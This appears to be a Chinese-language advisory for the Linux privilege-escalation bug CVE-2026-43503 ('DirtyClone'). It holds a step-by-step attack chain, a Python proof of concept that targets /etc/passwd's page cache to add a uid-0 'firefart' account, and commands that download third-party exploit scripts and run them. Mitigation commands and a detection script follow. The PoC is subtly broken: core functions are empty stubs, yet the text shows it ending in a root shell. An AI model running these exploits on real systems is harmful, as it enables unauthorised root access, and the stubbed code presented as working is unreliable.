Step 1: 创建非特权用户命名空间 (unshare -Urn)
         ↓
Step 2: 配置本地 IPsec 隧道 (loopback-based XFRM)
         ↓
Step 3: 使用 vmsplice/splice 将目标文件页缓存映射到 skb
         ↓
Step 4: 通过 iptables TEE 规则触发 __pskb_copy_fclone() 克隆
         ↓
Step 5: 克隆的 skb 丢失 SKBFL_SHARED_FRAG 标志
         ↓
Step 6: 克隆 skb 进入 esp_input() 进行原位 AES-CBC 解密
         ↓
Step 7: 解密数据直接写入文件支持的页缓存
         ↓
Step 8: 修改 /etc/passwd 或 /usr/bin/su 的内存副本
         ↓
Step 9: 执行修改后的二进制文件 → 获得 root 权限

#!/usr/bin/env python3
\"\"\"
CVE-2026-43503 — DirtyClone
Linux local privilege escalation PoC

A cloned sk_buff loses the SKBFL_SHARED_FRAG flag, so ESP in-place
decryption writes into file-backed page-cache memory. The PoC patches
/etc/passwd in cache to inject a uid-0 account and gives a root shell.
Disk is never modified.

Fixed in mainline 48f6a5356a33 (v7.1-rc5).

Usage:
    python3 CVE-2026-43503.py

Requirements:
    - Unpatched kernel
    - Unprivileged user namespaces enabled
    - python3 + libcrypto + iproute2 + iptables
\"\"\"

import os
import sys
import socket
import struct
import subprocess
import ctypes
import ctypes.util
from ctypes import c_int, c_char_p

# ============================================================
# Step 1: 创建非特权用户命名空间获取 CAP_NET_ADMIN
# ============================================================
def setup_namespace():
    \"\"\"使用 unshare 创建新的用户和网络命名空间\"\"\"
    print(\"[*] Creating unprivileged user namespace...\")
    # unshare -Urn 创建用户和网络命名空间
    # 在新命名空间中获得 CAP_NET_ADMIN
    pass

# ============================================================
# Step 2: 配置本地 IPsec (XFRM) 环境
# ============================================================
def setup_ipsec():
    \"\"\"配置 loopback-based IPsec 隧道\"\"\"
    print(\"[*] Setting up IPsec tunnel...\")

    # 启用 loopback 接口
    os.system(\"ip link set lo up\")
    os.system(\"ip addr add 10.99.0.2/24 dev lo\")

    # 创建 IPsec XFRM 状态 (ESP with AES-CBC)
    os.system(\"\"\"
    ip xfrm state add \\\\
    src 127.0.0.1 dst 127.0.0.1 \\\\
    proto esp spi 0x12345678 reqid 1 mode transport \\\\
    enc 'cbc(aes)' 0x0000000000000000000000000000000000000000000000000000000000000000 \\\\
    auth 'hmac(sha1)' 0x0000000000000000000000000000000000000000
    \"\"\")

    # 创建 XFRM 策略强制流量通过 IPsec
    os.system(\"\"\"
    ip xfrm policy add \\\\
    src 127.0.0.1 dst 127.0.0.1 dir out \\\\
    tmpl src 127.0.0.1 dst 127.0.0.1 proto esp reqid 1 mode transport
    \"\"\")

    # 添加 netfilter TEE 规则触发 __pskb_copy_fclone()
    os.system(\"\"\"
    iptables -t mangle -A OUTPUT -p udp --dport 4500 \\\\
    -j TEE --gateway 10.99.0.2
    \"\"\")

# ============================================================
# Step 3: 将目标文件页缓存映射到网络包
# ============================================================
def map_page_cache(target_file=\"/etc/passwd\", offset=0):
    \"\"\"
    使用 vmsplice 和 splice 将目标文件的页缓存映射到 skb

    关键系统调用:
    - open(\"/etc/passwd\", O_RDONLY)
    - mmap(PROT_READ, MAP_SHARED)
    - vmsplice(pipefd, &iov, 1, 0)
    - splice(pipefd, NULL, sockfd, NULL, len, 0)
    \"\"\"
    print(f\"[*] Mapping {target_file} page cache into skb...\")

    # 打开目标文件
    fd = os.open(target_file, os.O_RDONLY)

    # mmap 文件到内存 (MAP_SHARED 使页缓存可被引用)
    libc = ctypes.CDLL(ctypes.util.find_library(\"c\"), use_errno=True)
    mmap_size = 4096  # 一页
    addr = libc.mmap(None, mmap_size, 1, 1, fd, offset)

    if addr == ctypes.c_void_p(-1).value:
        print(\"[-] mmap failed\")
        return None

    # 创建 pipe
    pipefd = os.pipe()

    # 创建 UDP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    # vmsplice: 将 mmap 的内存附加到 pipe
    # SYS_vmsplice = 275 (x86_64)
    libc.syscall(275, pipefd[1], ctypes.byref(ctypes.c_void_p(addr + offset)),
                 ctypes.c_size_t(16), 0)

    # splice: 将 pipe 数据转移到 socket (创建 skb 引用页缓存)
    # SYS_splice = 274 (x86_64)
    libc.syscall(274, pipefd[0], None, sock.fileno(), None, 16, 0)

    return sock

# ============================================================
# Step 4: 构造恶意 IPsec 包触发原位解密写入
# ============================================================
def craft_exploit_packet(sock, target_offset=0, payload=b\"\"):
    \"\"\"
    构造 IPsec ESP 包，利用 AES-CBC 解密作为受控写入原语

    在 AES-CBC 中:
    - 每个解密块依赖于 IV
    - 攻击者可计算 IV 使输出变为可预测的字节
    - 结合已知原始字节、目标字节和可控 IV
    - 将解密转换为对页缓存内存的受控写入
    \"\"\"
    print(\"[*] Crafting exploit packet...\")

    # ESP 头部 (SPI + Sequence Number)
    esp_header = struct.pack(\">II\", 0x12345678, 1)

    # 计算 IV 使解密输出 = 目标 payload
    # 对于 AES-CBC: P[i] = D(C[i]) XOR C[i-1]
    # 所以: C[i-1] = P[i] XOR D(C[i])
    # 通过控制 IV (即 C[0])，可以控制第一个解密块

    # 发送 UDP 包到触发 TEE 规则的端口
    sock.sendto(esp_header + payload, (\"127.0.0.1\", 4500))

# ============================================================
# Step 5: 修改 /etc/passwd 注入 uid=0 账户
# ============================================================
def inject_root_account():
    \"\"\"
    通过页缓存写入原语修改 /etc/passwd

    注入 firefart 账户 (uid=0, gid=0)
    firefart:password_hash:0:0:root:/root:/bin/bash
    \"\"\"
    print(\"[*] Injecting uid-0 account into /etc/passwd page cache...\")

    # 目标: 在 /etc/passwd 中注入一行
    # firefart:<crypt_hash>:0:0:root:/root:/bin/bash
    # 密码为 \"pwned\"

    # 使用 IPsec 解密原语写入精确字节
    # 这需要精确计算 IV 和密文

    pass

# ============================================================
# Step 6: 验证提权
# ============================================================
def verify_root():
    \"\"\"验证是否获得 root 权限\"\"\"
    print(\"[*] Verifying root access...\")

    # 尝试 su 到注入的账户
    result = subprocess.run(
        [\"su\", \"-c\", \"id\", \"firefart\"],
        capture_output=True, text=True
    )

    if \"uid=0\" in result.stdout:
        print(\"[+] root achieved!\")
        print(result.stdout)
        return True
    else:
        print(\"[-] Exploit failed\")
        return False

# ============================================================
# 主函数
# ============================================================
def main():
    print(\"=\" * 60)
    print(\"CVE-2026-43503 — DirtyClone PoC\")
    print(\"Linux Local Privilege Escalation\")
    print(\"=\" * 60)

    uid = os.getuid()
    print(f\"[*] Current uid={uid}\")

    if uid == 0:
        print(\"[!] Already root!\")
        return

    # Step 1: 设置命名空间
    setup_namespace()

    # Step 2: 配置 IPsec
    setup_ipsec()

    # Step 3: 映射页缓存
    sock = map_page_cache(\"/etc/passwd\")
    if not sock:
        print(\"[-] Failed to map page cache\")
        sys.exit(1)

    # Step 4-5: 发送利用包修改 /etc/passwd
    inject_root_account()

    # Step 6: 验证
    if verify_root():
        print(\"[+] uid=1000 -> root\")
        print(\"[+] injected uid 0 account 'firefart' (password: pwned)\")
        print(\"[+] root achieved\")
    else:
        print(\"[-] Exploit failed\")

if __name__ == \"__main__\":
    main()

# 方法 1: mooder1 的 PoC
git clone https://github.com/mooder1/dirtyclone-CVE-2026-43503.git
cd dirtyclone-CVE-2026-43503
python3 CVE-2026-43503.py

# 方法 2: aexdyhaxor 的 PoC
wget https://raw.githubusercontent.com/aexdyhaxor/CVE-2026-43503-DirtyClone/refs/heads/main/dirtyclone.py
python3 dirtyclone.py

[*] uid=1000 -> root
[+] injected uid 0 account 'firefart' (password: pwned)
uid=0(root) gid=0(root) groups=0(root)
[+] root achieved

# Ubuntu/Debian
sudo apt update && sudo apt upgrade linux-image-generic
sudo reboot

# RHEL/CentOS
sudo yum update kernel
sudo reboot

# Debian/Ubuntu
sudo sysctl -w kernel.unprivileged_userns_clone=0
echo 'kernel.unprivileged_userns_clone=0' | sudo tee /etc/sysctl.d/99-dirtyclone.conf

# 创建模块黑名单
sudo cat > /etc/modprobe.d/dirtyclone.conf <<EOF
install rxrpc /bin/false
install esp4 /bin/false
install esp6 /bin/false
EOF

# 卸载已加载的模块
sudo rmmod rxrpc esp4 esp6 2>/dev/null || true

#!/bin/bash
# DirtyClone CVE-2026-43503 单机检测脚本
# 普通用户权限即可运行

echo \"=== CVE-2026-43503 DirtyClone 漏洞检测开始 ===\"

KERN_VER=$(uname -r)
echo \"[*] 当前内核版本: $KERN_VER\"

# 提取主版本号和次版本号
MAJOR=$(echo $KERN_VER | cut -d. -f1)
MINOR=$(echo $KERN_VER | cut -d. -f2)
PATCH=$(echo $KERN_VER | cut -d. -f3 | sed 's/[^0-9].*//')

echo \"[*] 版本解析: $MAJOR.$MINOR.$PATCH\"

# 检查是否在受影响范围内
VULNERABLE=0

# 检查非特权用户命名空间是否启用
UNPRIV_NS=$(cat /proc/sys/kernel/unprivileged_userns_clone 2>/dev/null || echo \"1\")
if [ \"$UNPRIV_NS\" = \"1\" ]; then
    echo \"[!] 非特权用户命名空间已启用 (kernel.unprivileged_userns_clone=1)\"
else
    echo \"[+] 非特权用户命名空间已禁用\"
fi

# 检查 vulnerable 模块是否加载
for mod in esp4 esp6 rxrpc; do
    if lsmod | grep -q \"^${mod} \"; then
        echo \"[!] 模块 $mod 已加载\"
    fi
done

# 版本范围检查 (简化版)
if [ \"$MAJOR\" -lt 7 ] || ([ \"$MAJOR\" -eq 7 ] && [ \"$MINOR\" -eq 1 ] && [ \"$PATCH\" -lt 5 ]); then
    # 检查 LTS 修复版本
    if [ \"$MAJOR\" -eq 5 ] && [ \"$MINOR\" -eq 10 ] && [ \"$PATCH\" -ge 257 ]; then
        VULNERABLE=0
    elif [ \"$MAJOR\" -eq 5 ] && [ \"$MINOR\" -eq 15 ] && [ \"$PATCH\" -ge 208 ]; then
        VULNERABLE=0
    elif [ \"$MAJOR\" -eq 6 ] && [ \"$MINOR\" -eq 1 ] && [ \"$PATCH\" -ge 174 ]; then
        VULNERABLE=0
    elif [ \"$MAJOR\" -eq 6 ] && [ \"$MINOR\" -eq 6 ] && [ \"$PATCH\" -ge 141 ]; then
        VULNERABLE=0
    elif [ \"$MAJOR\" -eq 6 ] && [ \"$MINOR\" -eq 12 ] && [ \"$PATCH\" -ge 91 ]; then
        VULNERABLE=0
    elif [ \"$MAJOR\" -eq 6 ] && [ \"$MINOR\" -eq 18 ] && [ \"$PATCH\" -ge 33 ]; then
        VULNERABLE=0
    elif [ \"$MAJOR\" -eq 7 ] && [ \"$MINOR\" -eq 0 ] && [ \"$PATCH\" -ge 10 ]; then
        VULNERABLE=0
    elif [ \"$MAJOR\" -eq 7 ] && [ \"$MINOR\" -eq 1 ] && [ \"$PATCH\" -ge 5 ]; then
        VULNERABLE=0
    else
        VULNERABLE=1
    fi
fi

if [ \"$VULNERABLE\" -eq 1 ]; then
    echo \"\"
    echo \"[!!!] 风险等级: 高危\"
    echo \"[!!!] 当前内核可能受 CVE-2026-43503 (DirtyClone) 影响\"
    echo \"[!!!] 建议立即更新内核或应用临时缓解措施\"
else
    echo \"\"
    echo \"[+] 风险等级: 低\"
    echo \"[+] 当前内核版本似乎已修补此漏洞\"
fi

echo \"=== 检测结束 ===\"